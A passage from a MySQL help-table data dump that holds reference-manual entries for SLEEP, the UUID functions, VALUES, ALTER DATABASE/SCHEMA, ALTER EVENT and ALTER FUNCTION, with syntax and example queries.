|\n+-------------+\n\nWhen SLEEP() is only part of a query that is interrupted, the query\nreturns an error:\n\no This statement is interrupted using KILL QUERY from another session:\n\nmysql> SELECT 1 FROM t1 WHERE SLEEP(1000);\nERROR 1317 (70100): Query execution was interrupted\n\no This statement is interrupted by timing out:\n\nmysql> SELECT /*+ MAX_EXECUTION_TIME(1000) */ 1 FROM t1 WHERE SLEEP(1000);\nERROR 3024 (HY000): Query execution was interrupted, maximum statement\nexecution time exceeded\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(500,'UUID',39,'Syntax:\nUUID()\n\nReturns a Universal Unique Identifier (UUID) generated according to RFC\n4122, \"A Universally Unique IDentifier (UUID) URN Namespace\"\n(http://www.ietf.org/rfc/rfc4122.txt).\n\nA UUID is designed as a number that is globally unique in space and\ntime. Two calls to UUID() are expected to generate two different\nvalues, even if these calls are performed on two separate devices not\nconnected to each other.\n\n*Warning*:\n\nAlthough UUID() values are intended to be unique, they are not\nnecessarily unguessable or unpredictable. If unpredictability is\nrequired, UUID values should be generated some other way.\n\nUUID() returns a value that conforms to UUID version 1 as described in\nRFC 4122. The value is a 128-bit number represented as a utf8mb3 string\nof five hexadecimal numbers in aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\nformat:\n\no The first three numbers are generated from the low, middle, and high\n parts of a timestamp. The high part also includes the UUID version\n number.\n\no The fourth number preserves temporal uniqueness in case the timestamp\n value loses monotonicity (for example, due to daylight saving time).\n\no The fifth number is an IEEE 802 node number that provides spatial\n uniqueness. A random number is substituted if the latter is not\n available (for example, because the host device has no Ethernet card,\n or it is unknown how to find the hardware address of an interface on\n the host operating system). In this case, spatial uniqueness cannot\n be guaranteed. Nevertheless, a collision should have very low\n probability.\n\n The MAC address of an interface is taken into account only on\n FreeBSD, Linux, and Windows. On other operating systems, MySQL uses a\n randomly generated 48-bit number.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT UUID();\n -> \'6ccd780c-baba-1026-9564-5b8c656024db\'\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(501,'UUID_SHORT',39,'Syntax:\nUUID_SHORT()\n\nReturns a \"short\" universal identifier as a 64-bit unsigned integer.\nValues returned by UUID_SHORT() differ from the string-format 128-bit\nidentifiers returned by the UUID() function and have different\nuniqueness properties. The value of UUID_SHORT() is guaranteed to be\nunique if the following conditions hold:\n\no The server_id value of the current server is between 0 and 255 and is\n unique among your set of source and replica servers\n\no You do not set back the system time for your server host between\n mysqld restarts\n\no You invoke UUID_SHORT() on average fewer than 16 million times per\n second between mysqld restarts\n\nThe UUID_SHORT() return value is constructed this way:\n\n (server_id & 255) << 56\n+ (server_startup_time_in_seconds << 24)\n+ incremented_variable++;\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT UUID_SHORT();\n -> 92395783831158784\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(502,'UUID_TO_BIN',39,'Syntax:\nUUID_TO_BIN(string_uuid), UUID_TO_BIN(string_uuid, swap_flag)\n\nConverts a string UUID to a binary UUID and returns the result. (The\nIS_UUID() function description lists the permitted string UUID\nformats.) The return binary UUID is a VARBINARY(16) value. If the UUID\nargument is NULL, the return value is NULL. If any argument is invalid,\nan error occurs.\n\nUUID_TO_BIN() takes one or two arguments:\n\no The one-argument form takes a string UUID value. The binary result is\n in the same order as the string argument.\n\no The two-argument form takes a string UUID value and a flag value:\n\n o If swap_flag is 0, the two-argument form is equivalent to the\n one-argument form. The binary result is in the same order as the\n string argument.\n\n o If swap_flag is 1, the format of the return value differs: The\n time-low and time-high parts (the first and third groups of\n hexadecimal digits, respectively) are swapped. This moves the more\n rapidly varying part to the right and can improve indexing\n efficiency if the result is stored in an indexed column.\n\nTime-part swapping assumes the use of UUID version 1 values, such as\nare generated by the UUID() function. For UUID values produced by other\nmeans that do not follow version 1 format, time-part swapping provides\nno benefit. For details about version 1 format, see the UUID() function\ndescription.\n\nSuppose that you have the following string UUID value:\n\nmysql> SET @uuid = \'6ccd780c-baba-1026-9564-5b8c656024db\';\n\nTo convert the string UUID to binary with or without time-part\nswapping, use UUID_TO_BIN():\n\nmysql> SELECT HEX(UUID_TO_BIN(@uuid));\n+----------------------------------+\n| HEX(UUID_TO_BIN(@uuid)) |\n+----------------------------------+\n| 6CCD780CBABA102695645B8C656024DB |\n+----------------------------------+\nmysql> SELECT HEX(UUID_TO_BIN(@uuid, 0));\n+----------------------------------+\n| HEX(UUID_TO_BIN(@uuid, 0)) |\n+----------------------------------+\n| 6CCD780CBABA102695645B8C656024DB |\n+----------------------------------+\nmysql> SELECT HEX(UUID_TO_BIN(@uuid, 1));\n+----------------------------------+\n| HEX(UUID_TO_BIN(@uuid, 1)) |\n+----------------------------------+\n| 1026BABA6CCD780C95645B8C656024DB |\n+----------------------------------+\n\nTo convert a binary UUID returned by UUID_TO_BIN() to a string UUID,\nuse BIN_TO_UUID(). If you produce a binary UUID by calling\nUUID_TO_BIN() with a second argument of 1 to swap time parts, you\nshould also pass a second argument of 1 to BIN_TO_UUID() to unswap the\ntime parts when converting the binary UUID back to a string UUID:\n\nmysql> SELECT BIN_TO_UUID(UUID_TO_BIN(@uuid));\n+--------------------------------------+\n| BIN_TO_UUID(UUID_TO_BIN(@uuid)) |\n+--------------------------------------+\n| 6ccd780c-baba-1026-9564-5b8c656024db |\n+--------------------------------------+\nmysql> SELECT BIN_TO_UUID(UUID_TO_BIN(@uuid,0),0);\n+--------------------------------------+\n| BIN_TO_UUID(UUID_TO_BIN(@uuid,0),0) |\n+--------------------------------------+\n| 6ccd780c-baba-1026-9564-5b8c656024db |\n+--------------------------------------+\nmysql> SELECT BIN_TO_UUID(UUID_TO_BIN(@uuid,1),1);\n+--------------------------------------+\n| BIN_TO_UUID(UUID_TO_BIN(@uuid,1),1) |\n+--------------------------------------+\n| 6ccd780c-baba-1026-9564-5b8c656024db |\n+--------------------------------------+\n\nIf the use of time-part swapping is not the same for the conversion in\nboth directions, the original UUID is not recovered properly:\n\nmysql> SELECT BIN_TO_UUID(UUID_TO_BIN(@uuid,0),1);\n+--------------------------------------+\n| BIN_TO_UUID(UUID_TO_BIN(@uuid,0),1) |\n+--------------------------------------+\n| baba1026-780c-6ccd-9564-5b8c656024db |\n+--------------------------------------+\nmysql> SELECT BIN_TO_UUID(UUID_TO_BIN(@uuid,1),0);\n+--------------------------------------+\n| BIN_TO_UUID(UUID_TO_BIN(@uuid,1),0) |\n+--------------------------------------+\n| 1026baba-6ccd-780c-9564-5b8c656024db |\n+--------------------------------------+\n\nIf UUID_TO_BIN() is invoked from within the mysql client, binary\nstrings display using hexadecimal notation, depending on the value of\nthe --binary-as-hex. For more information about that option, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(503,'VALUES',39,'Syntax:\nVALUES(col_name)\n\nIn an INSERT ... ON DUPLICATE KEY UPDATE statement, you can use the\nVALUES(col_name) function in the UPDATE clause to refer to column\nvalues from the INSERT portion of the statement. In other words,\nVALUES(col_name) in the UPDATE clause refers to the value of col_name\nthat would be inserted, had no duplicate-key conflict occurred. This\nfunction is especially useful in multiple-row inserts. The VALUES()\nfunction is meaningful only in the ON DUPLICATE KEY UPDATE clause of\nINSERT statements and returns NULL otherwise. See\nhttps://dev.mysql.com/doc/refman/8.0/en/insert-on-duplicate.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> INSERT INTO table (a,b,c) VALUES (1,2,3),(4,5,6)\n -> ON DUPLICATE KEY UPDATE c=VALUES(a)+VALUES(b);\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(504,'ALTER DATABASE',40,'Syntax:\nALTER {DATABASE | SCHEMA} [db_name]\n alter_option ...\n\nalter_option: {\n [DEFAULT] CHARACTER SET [=] charset_name\n | [DEFAULT] COLLATE [=] collation_name\n | [DEFAULT] ENCRYPTION [=] {\'Y\' | \'N\'}\n | READ ONLY [=] {DEFAULT | 0 | 1}\n}\n\nALTER DATABASE enables you to change the overall characteristics of a\ndatabase. These characteristics are stored in the data dictionary. This\nstatement requires the ALTER privilege on the database. ALTER SCHEMA is\na synonym for ALTER DATABASE.\n\nIf the database name is omitted, the statement applies to the default\ndatabase. In that case, an error occurs if there is no default\ndatabase.\n\nFor any alter_option omitted from the statement, the database retains\nits current option value, with the exception that changing the\ncharacter set may change the collation and vice versa.\n\no https://dev.mysql.com/doc/refman/8.0/en/alter-database.html#alter-dat\n abase-charset\n\no https://dev.mysql.com/doc/refman/8.0/en/alter-database.html#alter-dat\n abase-encryption\n\no https://dev.mysql.com/doc/refman/8.0/en/alter-database.html#alter-dat\n abase-read-only\n\nCharacter Set and Collation Options\n\nThe CHARACTER SET option changes the default database character set.\nThe COLLATE option changes the default database collation. For\ninformation about character set and collation names, see\nhttps://dev.mysql.com/doc/refman/8.0/en/charset.html.\n\nTo see the available character sets and collations, use the SHOW\nCHARACTER SET and SHOW COLLATION statements, respectively. See [HELP\nSHOW CHARACTER SET], and [HELP SHOW COLLATION].\n\nA stored routine that uses the database defaults when the routine is\ncreated includes those defaults as part of its definition. (In a stored\nroutine, variables with character data types use the database defaults\nif the character set or collation are not specified explicitly. See\n[HELP CREATE PROCEDURE].) If you change the default character set or\ncollation for a database, any stored routines that are to use the new\ndefaults must be dropped and recreated.\n\nEncryption Option\n\nThe ENCRYPTION option, introduced in MySQL 8.0.16, defines the default\ndatabase encryption, which is inherited by tables created in the\ndatabase. The permitted values are \'Y\' (encryption enabled) and \'N\'\n(encryption disabled).\n\nThe mysql system schema cannot be set to default encryption. The\nexisting tables within it are part of the general mysql tablespace,\nwhich may be encrypted. The information_schema contains only views. It\nis not possible to create any tables within it. There is nothing on the\ndisk to encrypt. All tables in the performance_schema use the\nPERFORMANCE_SCHEMA engine, which is purely in-memory. It is not\npossible to create any other tables in it. There is nothing on the disk\nto encrypt.\n\nOnly newly created tables inherit the default database encryption. For\nexisting tables associated with the database, their encryption remains\nunchanged. If the table_encryption_privilege_check system variable is\nenabled, the TABLE_ENCRYPTION_ADMIN privilege is required to specify a\ndefault encryption setting that differs from the value of the\ndefault_table_encryption system variable. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-data-encryption.html#inn\nodb-schema-tablespace-encryption-default.\n\nRead Only Option\n\nThe READ ONLY option, introduced in MySQL 8.0.22, controls whether to\npermit modification of the database and objects within it. The\npermitted values are DEFAULT or 0 (not read only) and 1 (read only).\nThis option is useful for database migration because a database for\nwhich READ ONLY is enabled can be migrated to another MySQL instance\nwithout concern that the database might be changed during the\noperation.\n\nWith NDB Cluster, making a database read only on one mysqld server is\nsynchronized to other mysqld servers in the same cluster, so that the\ndatabase becomes read only on all mysqld servers.\n\nThe READ ONLY option, if enabled, is displayed in the\nINFORMATION_SCHEMA SCHEMATA_EXTENSIONS table. See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-ext\nensions-table.html.\n\nThe READ ONLY option cannot be enabled for these system schemas: mysql,\ninformation_schema, performance_schema.\n\nIn ALTER DATABASE statements, the READ ONLY option interacts with other\ninstances of itself and with other options as follows:\n\no An error occurs if multiple instances of READ ONLY conflict (for\n example, READ ONLY = 1 READ ONLY = 0).\n\no An ALTER DATABASE statement that contains only (nonconflicting) READ\n ONLY options is permitted even for a read-only database.\n\no A mix of (nonconflicting) READ ONLY options with other options is\n permitted if the read-only state of the database either before or\n after the statement permits modifications. If the read-only state\n both before and after prohibits changes, an error occurs.\n\n This statement succeeds whether or not the database is read only:\n\nALTER DATABASE mydb READ ONLY = 0 DEFAULT COLLATE utf8mb4_bin;\n\n This statement succeeds if the database is not read only, but fails\n if it is already read only:\n\nALTER DATABASE mydb READ ONLY = 1 DEFAULT COLLATE utf8mb4_bin;\n\nEnabling READ ONLY affects all users of the database, with these\nexceptions that are not subject to read-only checks:\n\no Statements executed by the server as part of server initialization,\n restart, upgrade, or replication.\n\no Statements in a file named at server startup by the init_file system\n variable.\n\no TEMPORARY tables; it is possible to create, alter, drop, and write to\n TEMPORARY tables in a read-only database.\n\no NDB Cluster non-SQL inserts and updates.\n\nOther than for the excepted operations just listed, enabling READ ONLY\nprohibits write operations to the database and its objects, including\ntheir definitions, data, and metadata. The following list details\naffected SQL statements and operations:\n\no The database itself:\n\n o CREATE DATABASE\n\n o ALTER DATABASE (except to change the READ ONLY option)\n\n o DROP DATABASE\n\no Views:\n\n o CREATE VIEW\n\n o ALTER VIEW\n\n o DROP VIEW\n\n o Selecting from views that invoke functions with side effects.\n\n o Updating updatable views.\n\n o Statements that create or drop objects in a writable database are\n rejected if they affect metadata of a view in a read-only database\n (for example, by making the view valid or invalid).\n\no Stored routines:\n\n o CREATE PROCEDURE\n\n o DROP PROCEDURE\n\n o CALL (of procedures with side effects)\n\n o CREATE FUNCTION\n\n o DROP FUNCTION\n\n o SELECT (of functions with side effects)\n\n o For procedures and functions, read-only checks follow prelocking\n behavior. For CALL statements, read-only checks are done on a\n per-statement basis, so if some conditionally executed statement\n writing to a read-only database does not actually execute, the call\n still succeeds. On the other hand, for a function called within a\n SELECT, execution of the function body happens in prelocked mode.\n As long as a some statement within the function writes to a\n read-only database, execution of the function fails with an error\n regardless of whether the statement actually executes.\n\no Triggers:\n\n o CREATE TRIGGER\n\n o DROP TRIGGER\n\n o Trigger invocation.\n\no Events:\n\n o CREATE EVENT\n\n o ALTER EVENT\n\n o DROP EVENT\n\n o Event execution:\n\n o Executing an event in the database fails because that would\n change the last-execution timestamp, which is event metadata\n stored in the data dictionary. Failure of event execution also\n has the effect of causing the event scheduler to stop.\n\n o If an event writes to an object in a read-only database,\n execution of the event fails with an error, but the event\n scheduler is not stopped.\n\no Tables:\n\n o CREATE TABLE\n\n o ALTER TABLE\n\n o CREATE INDEX\n\n o DROP INDEX\n\n o RENAME TABLE\n\n o TRUNCATE TABLE\n\n o DROP TABLE\n\n o DELETE\n\n o INSERT\n\n o IMPORT TABLE\n\n o LOAD DATA\n\n o LOAD XML\n\n o REPLACE\n\n o UPDATE\n\n o For cascading foreign keys where the child table is in a read-only\n database, updates and deletes on the parent are rejected even if\n the child table is not directly affected.\n\n o For a MERGE table such as CREATE TABLE s1.t(i int) ENGINE MERGE\n UNION (s2.t, s3.t), INSERT_METHOD=..., the following behavior\n applies:\n\n o Inserting into the MERGE table (INSERT into s1.t) fails if at\n least one of s1, s2, s3 is read only, regardless of insert\n method. The insert is refused even if it would actually end up in\n a writable table.\n\n o Dropping the MERGE table (DROP TABLE s1.t) succeeds as long as s1\n is not read only. It is permitted to drop a MERGE table that\n refers to a read-only database.\n\nAn ALTER DATABASE statement blocks until all concurrent transactions\nthat have already accessed an object in the database being altered have\ncommitted. Conversely, a write transaction accessing an object in a\ndatabase being altered in a concurrent ALTER DATABASE blocks until the\nALTER DATABASE has committed.\n\nIf the Clone plugin is used to clone a local or remote data directory,\nthe databases in the clone retain the read-only state they had in the\nsource data directory. The read-only state does not affect the cloning\nprocess itself. If it is not desirable to have the same database\nread-only state in the clone, the option must be changed explicitly for\nthe clone after the cloning process has finished, using ALTER DATABASE\noperations on the clone.\n\nWhen cloning from a donor to a recipient, if the recipient has a user\ndatabase that is read only, cloning fails with an error message.\nCloning may be retried after making the database writable.\n\nREAD ONLY is permitted for ALTER DATABASE, but not for CREATE DATABASE.\nHowever, for a read-only database, the statement produced by SHOW\nCREATE DATABASE does include READ ONLY=1 within a comment to indicate\nits read-only status:\n\nmysql> ALTER DATABASE mydb READ ONLY = 1;\nmysql> SHOW CREATE DATABASE mydb\\G\n*************************** 1. row ***************************\n Database: mydb\nCreate Database: CREATE DATABASE `mydb`\n /*!40100 DEFAULT CHARACTER SET utf8mb4\n COLLATE utf8mb4_0900_ai_ci */\n /*!80016 DEFAULT ENCRYPTION=\'N\' */\n /* READ ONLY = 1 */\n\nIf the server executes a CREATE DATABASE statement containing such a\ncomment, the server ignores the comment and the READ ONLY option is not\nprocessed. This has implications for mysqldump and mysqlpump, which use\nSHOW CREATE DATABASE to produce CREATE DATABASE statements in dump\noutput:\n\no In a dump file, the CREATE DATABASE statement for a read-only\n database contains the commented READ ONLY option.\n\no The dump file can be restored as usual, but because the server\n ignores the commented READ ONLY option, the restored database is not\n read only. If the database is to be read only after being restored,\n you must execute ALTER DATABASE manually to make it so.\n\nSuppose that mydb is read only and you dump it as follows:\n\n$> mysqldump --databases mydb > mydb.sql\n\nA restore operation later must be followed by ALTER DATABASE if mydb\nshould still be read only:\n\n$> mysql\nmysql> SOURCE mydb.sql;\nmysql> ALTER DATABASE mydb READ ONLY = 1;\n\nMySQL Enterprise Backup is not subject to this issue. It backs up and\nrestores a read-only database like any other, but enables the READ ONLY\noption at restore time if it was enabled at backup time.\n\nALTER DATABASE is written to the binary log, so a change to the READ\nONLY option on a replication source server also affects replicas. To\nprevent this from happening, binary logging must be disabled prior to\nexecution of the ALTER DATABASE statement. For example, to prepare for\nmigrating a database without affecting replicas, perform these\noperations:\n\n1. Within a single session, disable binary logging and enable READ ONLY\n for the database:\n\nmysql> SET sql_log_bin = OFF;\nmysql> ALTER DATABASE mydb READ ONLY = 1;\n\n2. Dump the database, for example, with mysqldump or mysqlpump:\n\n$> mysqldump --databases mydb > mydb.sql\n\n3. Within a single session, disable binary logging and disable READ\n ONLY for the database:\n\nmysql> SET sql_log_bin = OFF;\nmysql> ALTER DATABASE mydb READ ONLY = 0;\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-database.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-database.html'),(505,'ALTER SCHEMA',40,'Syntax:\nALTER {DATABASE | SCHEMA} [db_name]\n alter_option ...\n\nalter_option: {\n [DEFAULT] CHARACTER SET [=] charset_name\n | [DEFAULT] COLLATE [=] collation_name\n | [DEFAULT] ENCRYPTION [=] {\'Y\' | \'N\'}\n | READ ONLY [=] {DEFAULT | 0 | 1}\n}\n\nALTER DATABASE enables you to change the overall characteristics of a\ndatabase. These characteristics are stored in the data dictionary. This\nstatement requires the ALTER privilege on the database. ALTER SCHEMA is\na synonym for ALTER DATABASE.\n\nIf the database name is omitted, the statement applies to the default\ndatabase. In that case, an error occurs if there is no default\ndatabase.\n\nFor any alter_option omitted from the statement, the database retains\nits current option value, with the exception that changing the\ncharacter set may change the collation and vice versa.\n\no https://dev.mysql.com/doc/refman/8.0/en/alter-database.html#alter-dat\n abase-charset\n\no https://dev.mysql.com/doc/refman/8.0/en/alter-database.html#alter-dat\n abase-encryption\n\no https://dev.mysql.com/doc/refman/8.0/en/alter-database.html#alter-dat\n abase-read-only\n\nCharacter Set and Collation Options\n\nThe CHARACTER SET option changes the default database character set.\nThe COLLATE option changes the default database collation. For\ninformation about character set and collation names, see\nhttps://dev.mysql.com/doc/refman/8.0/en/charset.html.\n\nTo see the available character sets and collations, use the SHOW\nCHARACTER SET and SHOW COLLATION statements, respectively. See [HELP\nSHOW CHARACTER SET], and [HELP SHOW COLLATION].\n\nA stored routine that uses the database defaults when the routine is\ncreated includes those defaults as part of its definition. (In a stored\nroutine, variables with character data types use the database defaults\nif the character set or collation are not specified explicitly. See\n[HELP CREATE PROCEDURE].) If you change the default character set or\ncollation for a database, any stored routines that are to use the new\ndefaults must be dropped and recreated.\n\nEncryption Option\n\nThe ENCRYPTION option, introduced in MySQL 8.0.16, defines the default\ndatabase encryption, which is inherited by tables created in the\ndatabase. The permitted values are \'Y\' (encryption enabled) and \'N\'\n(encryption disabled).\n\nThe mysql system schema cannot be set to default encryption. The\nexisting tables within it are part of the general mysql tablespace,\nwhich may be encrypted. The information_schema contains only views. It\nis not possible to create any tables within it. There is nothing on the\ndisk to encrypt. All tables in the performance_schema use the\nPERFORMANCE_SCHEMA engine, which is purely in-memory. It is not\npossible to create any other tables in it. There is nothing on the disk\nto encrypt.\n\nOnly newly created tables inherit the default database encryption. For\nexisting tables associated with the database, their encryption remains\nunchanged. If the table_encryption_privilege_check system variable is\nenabled, the TABLE_ENCRYPTION_ADMIN privilege is required to specify a\ndefault encryption setting that differs from the value of the\ndefault_table_encryption system variable. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-data-encryption.html#inn\nodb-schema-tablespace-encryption-default.\n\nRead Only Option\n\nThe READ ONLY option, introduced in MySQL 8.0.22, controls whether to\npermit modification of the database and objects within it. The\npermitted values are DEFAULT or 0 (not read only) and 1 (read only).\nThis option is useful for database migration because a database for\nwhich READ ONLY is enabled can be migrated to another MySQL instance\nwithout concern that the database might be changed during the\noperation.\n\nWith NDB Cluster, making a database read only on one mysqld server is\nsynchronized to other mysqld servers in the same cluster, so that the\ndatabase becomes read only on all mysqld servers.\n\nThe READ ONLY option, if enabled, is displayed in the\nINFORMATION_SCHEMA SCHEMATA_EXTENSIONS table. See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-ext\nensions-table.html.\n\nThe READ ONLY option cannot be enabled for these system schemas: mysql,\ninformation_schema, performance_schema.\n\nIn ALTER DATABASE statements, the READ ONLY option interacts with other\ninstances of itself and with other options as follows:\n\no An error occurs if multiple instances of READ ONLY conflict (for\n example, READ ONLY = 1 READ ONLY = 0).\n\no An ALTER DATABASE statement that contains only (nonconflicting) READ\n ONLY options is permitted even for a read-only database.\n\no A mix of (nonconflicting) READ ONLY options with other options is\n permitted if the read-only state of the database either before or\n after the statement permits modifications. If the read-only state\n both before and after prohibits changes, an error occurs.\n\n This statement succeeds whether or not the database is read only:\n\nALTER DATABASE mydb READ ONLY = 0 DEFAULT COLLATE utf8mb4_bin;\n\n This statement succeeds if the database is not read only, but fails\n if it is already read only:\n\nALTER DATABASE mydb READ ONLY = 1 DEFAULT COLLATE utf8mb4_bin;\n\nEnabling READ ONLY affects all users of the database, with these\nexceptions that are not subject to read-only checks:\n\no Statements executed by the server as part of server initialization,\n restart, upgrade, or replication.\n\no Statements in a file named at server startup by the init_file system\n variable.\n\no TEMPORARY tables; it is possible to create, alter, drop, and write to\n TEMPORARY tables in a read-only database.\n\no NDB Cluster non-SQL inserts and updates.\n\nOther than for the excepted operations just listed, enabling READ ONLY\nprohibits write operations to the database and its objects, including\ntheir definitions, data, and metadata. The following list details\naffected SQL statements and operations:\n\no The database itself:\n\n o CREATE DATABASE\n\n o ALTER DATABASE (except to change the READ ONLY option)\n\n o DROP DATABASE\n\no Views:\n\n o CREATE VIEW\n\n o ALTER VIEW\n\n o DROP VIEW\n\n o Selecting from views that invoke functions with side effects.\n\n o Updating updatable views.\n\n o Statements that create or drop objects in a writable database are\n rejected if they affect metadata of a view in a read-only database\n (for example, by making the view valid or invalid).\n\no Stored routines:\n\n o CREATE PROCEDURE\n\n o DROP PROCEDURE\n\n o CALL (of procedures with side effects)\n\n o CREATE FUNCTION\n\n o DROP FUNCTION\n\n o SELECT (of functions with side effects)\n\n o For procedures and functions, read-only checks follow prelocking\n behavior. For CALL statements, read-only checks are done on a\n per-statement basis, so if some conditionally executed statement\n writing to a read-only database does not actually execute, the call\n still succeeds. On the other hand, for a function called within a\n SELECT, execution of the function body happens in prelocked mode.\n As long as a some statement within the function writes to a\n read-only database, execution of the function fails with an error\n regardless of whether the statement actually executes.\n\no Triggers:\n\n o CREATE TRIGGER\n\n o DROP TRIGGER\n\n o Trigger invocation.\n\no Events:\n\n o CREATE EVENT\n\n o ALTER EVENT\n\n o DROP EVENT\n\n o Event execution:\n\n o Executing an event in the database fails because that would\n change the last-execution timestamp, which is event metadata\n stored in the data dictionary. Failure of event execution also\n has the effect of causing the event scheduler to stop.\n\n o If an event writes to an object in a read-only database,\n execution of the event fails with an error, but the event\n scheduler is not stopped.\n\no Tables:\n\n o CREATE TABLE\n\n o ALTER TABLE\n\n o CREATE INDEX\n\n o DROP INDEX\n\n o RENAME TABLE\n\n o TRUNCATE TABLE\n\n o DROP TABLE\n\n o DELETE\n\n o INSERT\n\n o IMPORT TABLE\n\n o LOAD DATA\n\n o LOAD XML\n\n o REPLACE\n\n o UPDATE\n\n o For cascading foreign keys where the child table is in a read-only\n database, updates and deletes on the parent are rejected even if\n the child table is not directly affected.\n\n o For a MERGE table such as CREATE TABLE s1.t(i int) ENGINE MERGE\n UNION (s2.t, s3.t), INSERT_METHOD=..., the following behavior\n applies:\n\n o Inserting into the MERGE table (INSERT into s1.t) fails if at\n least one of s1, s2, s3 is read only, regardless of insert\n method. The insert is refused even if it would actually end up in\n a writable table.\n\n o Dropping the MERGE table (DROP TABLE s1.t) succeeds as long as s1\n is not read only. It is permitted to drop a MERGE table that\n refers to a read-only database.\n\nAn ALTER DATABASE statement blocks until all concurrent transactions\nthat have already accessed an object in the database being altered have\ncommitted. Conversely, a write transaction accessing an object in a\ndatabase being altered in a concurrent ALTER DATABASE blocks until the\nALTER DATABASE has committed.\n\nIf the Clone plugin is used to clone a local or remote data directory,\nthe databases in the clone retain the read-only state they had in the\nsource data directory. The read-only state does not affect the cloning\nprocess itself. If it is not desirable to have the same database\nread-only state in the clone, the option must be changed explicitly for\nthe clone after the cloning process has finished, using ALTER DATABASE\noperations on the clone.\n\nWhen cloning from a donor to a recipient, if the recipient has a user\ndatabase that is read only, cloning fails with an error message.\nCloning may be retried after making the database writable.\n\nREAD ONLY is permitted for ALTER DATABASE, but not for CREATE DATABASE.\nHowever, for a read-only database, the statement produced by SHOW\nCREATE DATABASE does include READ ONLY=1 within a comment to indicate\nits read-only status:\n\nmysql> ALTER DATABASE mydb READ ONLY = 1;\nmysql> SHOW CREATE DATABASE mydb\\G\n*************************** 1. row ***************************\n Database: mydb\nCreate Database: CREATE DATABASE `mydb`\n /*!40100 DEFAULT CHARACTER SET utf8mb4\n COLLATE utf8mb4_0900_ai_ci */\n /*!80016 DEFAULT ENCRYPTION=\'N\' */\n /* READ ONLY = 1 */\n\nIf the server executes a CREATE DATABASE statement containing such a\ncomment, the server ignores the comment and the READ ONLY option is not\nprocessed. This has implications for mysqldump and mysqlpump, which use\nSHOW CREATE DATABASE to produce CREATE DATABASE statements in dump\noutput:\n\no In a dump file, the CREATE DATABASE statement for a read-only\n database contains the commented READ ONLY option.\n\no The dump file can be restored as usual, but because the server\n ignores the commented READ ONLY option, the restored database is not\n read only. If the database is to be read only after being restored,\n you must execute ALTER DATABASE manually to make it so.\n\nSuppose that mydb is read only and you dump it as follows:\n\n$> mysqldump --databases mydb > mydb.sql\n\nA restore operation later must be followed by ALTER DATABASE if mydb\nshould still be read only:\n\n$> mysql\nmysql> SOURCE mydb.sql;\nmysql> ALTER DATABASE mydb READ ONLY = 1;\n\nMySQL Enterprise Backup is not subject to this issue. It backs up and\nrestores a read-only database like any other, but enables the READ ONLY\noption at restore time if it was enabled at backup time.\n\nALTER DATABASE is written to the binary log, so a change to the READ\nONLY option on a replication source server also affects replicas. To\nprevent this from happening, binary logging must be disabled prior to\nexecution of the ALTER DATABASE statement. For example, to prepare for\nmigrating a database without affecting replicas, perform these\noperations:\n\n1. Within a single session, disable binary logging and enable READ ONLY\n for the database:\n\nmysql> SET sql_log_bin = OFF;\nmysql> ALTER DATABASE mydb READ ONLY = 1;\n\n2. Dump the database, for example, with mysqldump or mysqlpump:\n\n$> mysqldump --databases mydb > mydb.sql\n\n3. Within a single session, disable binary logging and disable READ\n ONLY for the database:\n\nmysql> SET sql_log_bin = OFF;\nmysql> ALTER DATABASE mydb READ ONLY = 0;\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-database.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-database.html'),(506,'ALTER EVENT',40,'Syntax:\nALTER\n [DEFINER = user]\n EVENT event_name\n [ON SCHEDULE schedule]\n [ON COMPLETION [NOT] PRESERVE]\n [RENAME TO new_event_name]\n [ENABLE | DISABLE | DISABLE ON SLAVE]\n [COMMENT \'string\']\n [DO event_body]\n\nThe ALTER EVENT statement changes one or more of the characteristics of\nan existing event without the need to drop and recreate it. The syntax\nfor each of the DEFINER, ON SCHEDULE, ON COMPLETION, COMMENT, ENABLE /\nDISABLE, and DO clauses is exactly the same as when used with CREATE\nEVENT. (See [HELP CREATE EVENT].)\n\nAny user can alter an event defined on a database for which that user\nhas the EVENT privilege. When a user executes a successful ALTER EVENT\nstatement, that user becomes the definer for the affected event.\n\nALTER EVENT works only with an existing event:\n\nmysql> ALTER EVENT no_such_event \n > ON SCHEDULE \n > EVERY \'2:3\' DAY_HOUR;\nERROR 1517 (HY000): Unknown event \'no_such_event\'\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-event.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-event.html'),(507,'ALTER FUNCTION',40,'Syntax:\nALTER FUNCTION func_name [characteristic ...]\n\ncharacteristic: {\n COMMENT \'string\'\n | LANGUAGE SQL\n | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }\n | SQL SECURITY { DEFINER | INVOKER }\n}\n\nThis statement can be used to change the characteristics of a stored\nfunction. More than one change may be specified in an ALTER FUNCTION\nstatement. However, you cannot change the parameters or body of a\nstored function using this statement; to make such changes, you must\ndrop and re-create the function using DROP FUNCTION and CREATE\nFUNCTION.\n\nYou must have the ALTER ROUTINE privilege for the function. (That\nprivilege is granted automatically to the function creator.) If binary\nlogging is enabled, the ALTER FUNCTION statement might also require the\nSUPER privilege, as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-programs-logging.html.\n\nURL: 